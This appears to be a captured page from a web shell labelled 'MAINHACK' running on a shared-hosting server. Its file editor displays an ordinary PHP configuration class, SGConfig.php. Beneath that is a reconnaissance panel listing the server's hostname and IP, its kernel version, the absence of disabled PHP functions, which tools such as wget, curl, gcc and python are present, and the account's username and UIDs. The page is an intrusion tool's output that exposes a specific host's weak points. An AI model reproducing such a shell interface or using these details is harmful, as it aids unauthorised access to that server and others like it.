[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: SGConfig.php
<?php class SGConfig { private static $values = array(); public static function set($key, $value, $forced = true) { self::$values[$key] = $value; if ($forced) { $sgdb = SGDatabase::getInstance(); $res = $sgdb->query('INSERT INTO '.SG_CONFIG_TABLE_NAME.' (ckey, cvalue) VALUES (%s, %s) ON DUPLICATE KEY UPDATE cvalue = %s', array($key, $value, $value)); return $res; } return true; } public static function get($key, $forced = false) { if (!$forced) { if (isset(self::$values[$key])) { return self::$values[$key]; } if (defined($key)) { return constant($key); } } $sgdb = SGDatabase::getInstance(); $data = array(); $res = $sgdb->query("SHOW TABLES LIKE '".SG_CONFIG_TABLE_NAME."'"); if ($res) { $data = $sgdb->query('SELECT cvalue, NOW() FROM '.SG_CONFIG_TABLE_NAME.' WHERE ckey = %s', array($key)); } if (!count($data)) { return null; } self::$values[$key] = $data[0]['cvalue']; return $data[0]['cvalue']; } public static function getAll() { $sgdb = SGDatabase::getInstance(); $configs = array(); $res = $sgdb->query("SHOW TABLES LIKE '".SG_CONFIG_TABLE_NAME."'"); if ($res) { $res = $sgdb->query('SELECT * FROM '.SG_CONFIG_TABLE_NAME); if ($res) { foreach ($res as $config) { self::$values[$config['ckey']] = $config['cvalue']; $configs[$config['ckey']] = $config['cvalue']; } } } return $configs; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium56.web-hosting.com
Server IP: 198.54.119.70
PHP Version: 8.2.30
Server Software: LiteSpeed
System: Linux premium56.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 70.61 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: bkunreyz
User ID (UID): 830
Group ID (GID): 826
Script Owner UID: 830
Current Dir Owner: 830